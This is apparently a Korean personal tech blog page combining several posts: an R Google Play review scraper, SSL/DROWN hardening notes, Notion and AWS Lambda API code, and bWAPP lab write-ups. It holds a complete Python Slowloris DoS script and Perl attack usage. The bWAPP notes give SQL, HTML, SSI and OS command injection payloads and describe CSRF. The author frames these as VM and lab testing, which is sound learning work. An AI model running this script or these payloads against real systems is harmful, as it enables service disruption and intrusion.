메뉴 건너뛰기

imp

[R] 구글 플레이스토어 리뷰 수집

suritam92019.02.11 16:34조회 수 2355댓글 1

    • 글자 크기

json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.

 

https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView

 

에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.

 

리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.

 

다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/

 

콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.

(예제 앱은 스마트 헌혈 임)

 

install.packages("rvest")

install.packages("httr")

install.packages("stringr")

install.packages("RSelenium")

 

 

[다음]

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

ch=wdman::chrome(port=4444L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동

 

webElem <- remDr$findElement("css", "body")

webElem$sendKeysToElement(list(key = "end"))

 

# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기

# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동

 

flag <- TRUE

endCnt <- 0

 

while (flag) {

  Sys.sleep(10)

  webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

 

  if(length(webElemButton)==1){

    endCnt <- 0

    webElem$sendKeysToElement(list(key = "home"))

    webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동

    remDr$click()

    webElem$sendKeysToElement(list(key = "end"))

    flag <- FALSE #추가한 부분

  }else{

    if(endCnt>3){

      flag <- FALSE

    }else{

      endCnt <- endCnt + 1

    }

  }

}

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))

 

remDr$close()

 
    • 글자 크기

댓글 달기

댓글 1
  • suritam9글쓴이
    2019.2.19 10:26 댓글추천 0비추천 0

    #설정 URL로 이동 후 최신순으로 정렬하는 것을 추가하여 유용도 순의 초기 설정을 변경가능하다.

    *xpath 추출은 크롬 플러그인 xPath finder 로 하면 쉽다.

     

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[1]/div[2]/span")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

    remDr$click()

     

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[2]/div[1]")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

    remDr$click()

    Sys.sleep(10)

     

[Perl] RUDY, Slowloris 공격

[원문보기]

http://advent.perl.kr/2012/2012-12-17.html

 

DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.

 

해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.

 

$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More

 

참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.

 

cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)

 

# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]

 

을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.

 

1.jpg

 

와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.

 

2.jpg

 

 

웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.

 

1.jpg

 

 

실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.

 

서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.

 

 

[python]

import socket, random, time, sys

headers = [

    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",

    "Accept-language: en-US,en"

]

 

sockets = []

 

def setupSocket(ip):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(4)

    sock.connect((ip, 80))

    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

 

    for header in headers:

        sock.send("{}\r\n".format(header).encode("utf-8"))

 

    return sock

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print("Use it like this: python {} example.com".format(sys.argv[0]))

        sys.exit()

 

    ip = sys.argv[1]

    count = 200

    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

 

    for _ in range(count):

        try:

            print("Socket {}".format(_))

            sock = setupSocket(ip)

        except socket.error:

            break

 

        sockets.append(sock)

 

    while True:

        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

 

        for sock in list(sockets):

            try:

                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))

            except socket.error:

                sockets.remove(sock)

 

        for _ in range(count - len(sockets)):

            print("Re-opening closed sockets...")

            try:

                sock = setupSocket(ip)

                if sock:

                    sockets.append(sock)

            except socket.error:

                break

 

        time.sleep(15)

 

[DROWN] Decrypting RSA with Obsolete and Weakened eNcryption

[원문보기]

DROWN 취약점이란  “Decrypting RSA with Obsolete and Weakened eNcryption: 취약한 구식 암호화법을 통한 RSA 복호화”에서 따온 이름으로, SSLv2취약점을 악용한 교차 프로토콜 공격입니다.


http://blog.alyac.co.kr/554


POODLE 과 RC4 관련 취약점 들을 제거하더라도 Openssl 관련 취약점이 계속 나오고 있다.


Heartbleed 는 시작이었다.



apache2 현재 Apache/2.2.22 (Ubuntu)  OpenSSL 1.0.1 14 Mar 2012 에서 아래 옵션을 사용해 봤으나 TLSv1.1 이 잘 못 되었다는데, 해결은 추후에 해야겠다.


SSLProtocol -all +TLSv1.1 +TLSv1.2

SSLCipherSuite HIGH:!aNULL:!MD5:!SSLv2:!SSLv3:!TLSv1


RC4는 


SSLProtocol all -SSLv2 -SSLv3

SSLHonorCipherOrder on

SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA EECDH EDH+aRSA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS"


위와 같이 하면 된 듯 하다.


RC4.png


보안서버가 아래와 같이 무료로 사용할 수 있지만, 설정에 따라 취약할 수 있으니, 이 점에 주의해야 한다.

무료 점검 해주는 사이트들이 많아 좋기는 한데, 설정을 강화해야 하는 번거로움이 있다.


 

 

COMODO

Lets encrypt

Start SSL

금액

도메인 당 5만원 내외

무료

 무료

사용기간

2년/1년

3개월(90일)

1년(365일)

의존성

 

openssl, git, python, gcc, etc…..(자동설치)

 

발급기관

verisign, comodo, …..

Mozilla, …….. sponsored by Google, Facebook, CISCO….

StartCom

지원서버

Apache, nginx, IIS, …..

Apache, nginx, iis(unstable), ?

Apache, IIS, …..

멀티도메인

별도 지원

일반적으로 어려움

유료 지원

[bWAPP] iFrame injection

[원문보기]

A1 - Injection

iFrame injection


iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250


ParamUrl 에 경로에 존재하는 파일을 넣으면 내용 확인 및 다운로드가 가능하다.


다운로드되는 파일은 portal.zip 이고, 나머지 php 파일 등은 렌더링되어 나오므로 파일 다운로드로 보기는 어렵다.


portal.bak, bugs,txt, 666 은 텍스트 형식이므로 내용 확인이 가능하다.


A1IFR.PNG


이를 소개한 동영상에서는 width, height를 바꾸거나 외부 경로 입력을 테스트 했다.

[bWAPP] HTML Injection - Reflected (GET/POST)

[원문보기]

A1 - Injection

HTML Injection - Reflected (GET/POST)


id, pw 필드에 스크립트 코드를 넣으면 레벨 0에서 간단히 테스트할 수 있는데, 요즘 브라우저에서는 교차스크립트 방지 필터가 동작하여 결과 확인이 어렵다.


보안설정을 아래와 같이 바꾸면 가능하다.


A1XSS-GET.PNG


XSS 가 아니고, HTML이라, HTML 태그를 넣어 테스트 해보는 내용이다.


<H1>TEST</H1>

<H2>TEST</H2>

[bWAPP] HTML Injection - Reflected (URL)

[원문보기]

A1 - Injection

HTML Injection - Reflected (URL)


현재 url을 표시해주는 간단한 서버사이드 스크립트이다.


~.php?a={스크립트구문}


을 넣어주면 실행 가능하다.


A1XSS-URL.PNG


html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.


?<h1>test</h1>

[notion] 데이터베이스(페이지) 삭제(아카이빙)

[원문보기]
데이터베이스의 행(row)을 삭제하는 것을 찾아보면 archived 필드를 true로 변경하는 코드가 나온다.
클라우드플레어 노드 js로 계속 실패하여 포스트맨으로 테스해보고 문제 없는 코드임을 알았다.
content-type은 application/json으로 하고 method는 PATCH를 사용한다.
 
abc라는 변수는 데이터베이스의 pages id 에 해당한다.
이전 글의 데이터베이스 목록 출력시 나오는 id값을 사용하면 된다.
 
정상동작하면 메일로 API에 의해 수정되었다는 내용을 받을 수 있다.
archived 필드와 trashed 필드가 모두 true로 응답되면 정상 동작으로 확인할 수 있고, 재 요청시 에러가 발생한다.
"archived": false 를 보내서 복원할 수 있다.
 
async function handleRequest2(abc) {
const url2 = "https://api.notion.com/v1/pages/"+abc;
const body1 = {
"archived": true
}
const init = {
method: 'PATCH',
body: JSON.stringify(body1),
headers: {
'content-type': 'application/json;charset=UTF-8',
'Notion-Version': '2022-06-28',
'Authorization': 'Bearer secret_{}',
},
};
const response = await fetch(url2, init);
const results = await gatherResponse(response);
console.log(results);
let jsons = JSON.parse(results);
let res = jsons.archived;
if(res){
res="성공";
}
return new Response(res, init);
}

[bAWPP] HTML Injection - Stored (Blog)

[원문보기]

A1 - Injection

HTML Injection - Stored (Blog)


XSS 저장 방식이다.


게시판에 테스트 하듯이 스크립트 구문을 바로 입력하면 된다.


A1XSS-BLG.PNG


html 인젝션은 <h1>bee</h1><h2>bug</h2> 를 넣으면 된다.

[bWAPP] LDAP Injection (Search)

[원문보기]

A1 - Injection

LDAP Injection (Search)


search 구문에 * 을 넣으면 모든 사용자 검색이 가능하므로 해당 문자열을 사용하지 못하도록 한다.


로그인 우회는 확인 중이다.


A1LDAP.PNG

[bWAPP] OS Command Injection [blind]

[원문보기]

A1 - Injection

OS Command Injection


동영상에서는 ; 등으로 테스트 하는데, windows 서버라 | (pipe, vertical var)로 하면 된다.


A1OSC.PNG


blind 의 경우,


명령어 >> 1.txt


로 파일을 만들어 해당 파일을 접근할 수 있다.


ren 이나, copy 명령어를 사용해 파일을 바꾸거나 txt 확장자로 교체해 소스 확인도 가능할 듯 하다.


del은 쓰지 말자.

[bWAPP] PHP Code Injection

[원문보기]

A1 - Injection

PHP Code Injection


해당 소스는 eval 로 되어 있다.


php 함수를 모두 사용 가능하다.


<p><i><?php @eval ("echo " .$_REQUEST["message"] . ";");?></i></p>



A1PHP.PNG

[bWAPP] Server-Side Includes (SSI) Injection

[원문보기]

A1 - Injection

Server-Side Includes (SSI) Injection


LoadModule 을 지원하는 환경에서 가능하다


입력 필드에 <!--#echo var="DOCUMENT_ROOT" --> 를 넣었을 때, 아래와 같이 나오면 LoadModule이 지원 안되는 것이다.

실행 자체가 안 되니 의미가 없다.

<p>Hello 11<!--#echo Var="DOCUMENT_ROOT" --> 11,</p><p>Your IP address is:</p><h1><!--#echo var="REMOTE_ADDR" --></h1>

http://lispro06.woweb.net/infra/51326 참고

* 그동안 cgi 로 혼동했다. T.T;;

[bWAPP] SQL Injection (GET[POST]/Select)

[원문보기]

A1 - Injection

SQL Injection (GET/Select)




A1SQL2.PNG


movie=0+union select schema(),version(),user(),database(),SESSION_USER(),schema(),1--+-&action=go



GET[POST]/SEARCH 는 ' 로 되어 single quote 를 쓸 수가 없다. 동영상에는 그대로 되는데, 환경 탓 인가...


우분투에서는 되는군.

[이클립스] tomcat 404, spring, web API

[원문보기]

스프링 기반으로 개발하여, 디스패처 서블릿을 WEBXML 에 MVC 방식으로 매핑하여 개발하였을 때, 많은 복잡성이 발생한다.

 

톰캣의 배포된 실행 패키지를 정상 종료 시키지 않고 삭제하면, LOCK 이 걸려 재 컴파일해서 RUN 하더라도 쉽게 원하는 패키지가 실행되지 않는다.

 

그 때는 아예, 톰캣 서버를 완전히 지우고, 새로 서버를 만들어 실행한다.

 

api.png

 

[bWAPP] XSS - Reflected (User-Agent)

[원문보기]

A3 - Cross Site Scripting

XSS - Reflected (User-Agent)


header 값 중 user-agent에 스크립트를 삽입하여 전송하는 예제이다.


A3XSS-UA.PNG

[bWAPP] Session Mgmt. - Administrative Portals

[원문보기]

A2 - Broken Auth. & Session Mgmt.

Session Mgmt. - Administrative Portals



admin 파라미터에 1을 넣으면 성공 메시지가 나온다.




[bWAPP] Insecure DOR (Order Tickets)

[원문보기]

A4 - Insecure Direct Object References

Insecure DOR (Order Tickets)


hidden 필드의 15eur을 변조하여 시도한다.


medium level에서는 post 파라미터에 ticket_price를 추가한다.

[bWAPP] Insecure DOR (Change Secret/Reset Secret)

[원문보기]

A4 - Insecure Direct Object References

Insecure DOR (Change Secret)


POST 파라미터로 전송되는 login 값을 수정한다.


XML 에 포함된 login 값을 수정한다.


A4DOR-SEC.PNG

[bWAPP] CSRF (Change Password)

[원문보기]

A8 - Cross Site Request Forgery

CSRF (Change Password)


패스워드 변경 경로를 삽입하여 타 계정으로 로그인한 사용자의 비밀번호를 변경한다.


이체 경로를 삽입하여 상대방 계좌의 금액을 차감 한다.


A8CSRF-PSWD.PNG


A8CSRF-AMT.PNG

[bWAPP] bWAPP - Broken Authentication

[원문보기]

A2 - Broken Auth. & Session Mgmt.

bWAPP - Broken Authentication


소스코드의 tonystark/I am Iron Man 을 입력하여 로그인한다.


A2BA-ILF.PNG

위키백과 QA API X AWS lambda X API Gateway X SLACK

[원문보기]

공공 인공지능 오픈 API·DATA 서비스 포털의 위키백과 QA API를 aws 람다로 node.js 를 이용해 slack에서 받을 수 있도록 처리했습니다.

 

전체적인 내용은 https://blog.aliencube.org/ko/2016/05/15/slack-github-integration-with-aws-lambda/ 를 참고하였습니다.

http://www.usefulparadigm.com/2016/04/06/creating-a-slack-bot-with-aws-lambda-and-api-gateway/

https://gist.github.com/sjoonk/20ae13e5cd8be88e9824e3bad11b2859

 

http://aiopen.etri.re.kr/service_list.php 

 

s.png

 

 

exports.handler = (event, context) => {

    // Sets request options

    var options = {

        host: 'aiopen.etri.re.kr',

        port: '8000',

        path: '/WikiQA',

        method: 'POST',

        headers: {

          'Content-Type': 'application/json'

        }

    };

    var access_key = '발급받은키';

    var type = 'irqa';

    // Sets the request body    

    var data = {

        'access_key': access_key,

        'argument': {

            'question': event.text,

            'type': type

        }

    };

    var request = require('http');

    var req = request.request(options, function (res) {

      var chunks = [];

    

      res.on("data", function (chunk) {

        chunks.push(chunk);

      });

    

      res.on("end", function () {

        var body = Buffer.concat(chunks);

        console.log(body.toString());

        body = JSON.parse(body);

        console.log(body.result);

        if(body.result==0){

          var text = body.return_object.WiKiInfo.IRInfo[0].sent;

          var ans = body.return_object.WiKiInfo.AnswerInfo[0].answer;

        }else{

          var text = "없음";

          var ans = event.text;

        }

          context.succeed({

            "response_type": "in_channel",

            "text": "ETRI 위키백과 QA API 결과 : " + ans,

            "attachments": [

                {

                    "text": "https://ko.wikipedia.org/wiki/" + encodeURI(ans) + "\n" + text,

                    "color": "#7CD197"

                }

            ]

          });

      });

    });

    req.write(JSON.stringify(data));

    req.end();

};

 

 

aws gateway 에서 매핑템플릿에 application/x-www-form-urlencoded 를 추가하지 않으면, json 요청 값을 처리할 수 없으니, 꼭 추가하자.

(event undefined)

## convert HTML POST data to JSON
 
## get the raw post data from the AWS built-in variable and give it a nicer name
#set($rawAPIData = $input.path('$'))

## first we get the number of "&" in the string, this tells us if there is more than one key value pair
#set($countAmpersands = $rawAPIData.length() - $rawAPIData.replace("&", "").length())
 
## if there are no "&" at all then we have only one key value pair.
## we append an ampersand to the string so that we can tokenise it the same way as multiple kv pairs.
## the "empty" kv pair to the right of the ampersand will be ignored anyway.
#if ($countAmpersands == 0)
 #set($rawPostData = $rawAPIData + "&")
#end
 
## now we tokenise using the ampersand(s)
#set($tokenisedAmpersand = $rawAPIData.split("&"))
 
## we set up a variable to hold the valid key value pairs
#set($tokenisedEquals = [])
 
## now we set up a loop to find the valid key value pairs, which must contain only one "="
#foreach( $kvPair in $tokenisedAmpersand )
 #set($countEquals = $kvPair.length() - $kvPair.replace("=", "").length())
 #if ($countEquals == 1)
  #set($kvTokenised = $kvPair.split("="))
  #if ($kvTokenised[0].length() > 0)
   ## we found a valid key value pair. add it to the list.
   #set($devNull = $tokenisedEquals.add($kvPair))
  #end
 #end
#end
 
## next we set up our loop inside the output structure "{" and "}"
{
#foreach( $kvPair in $tokenisedEquals )
  ## finally we output the JSON for this pair and append a comma if this isn't the last pair
  #set($kvTokenised = $kvPair.split("="))
 "$util.urlDecode($kvTokenised[0])" : #if($kvTokenised[1].length() > 0)"$util.urlDecode($kvTokenised[1])"#{else}""#end#if( $foreach.hasNext ),#end
#end
}
첨부 (1)
s.png
36.4KB / Download 29
위로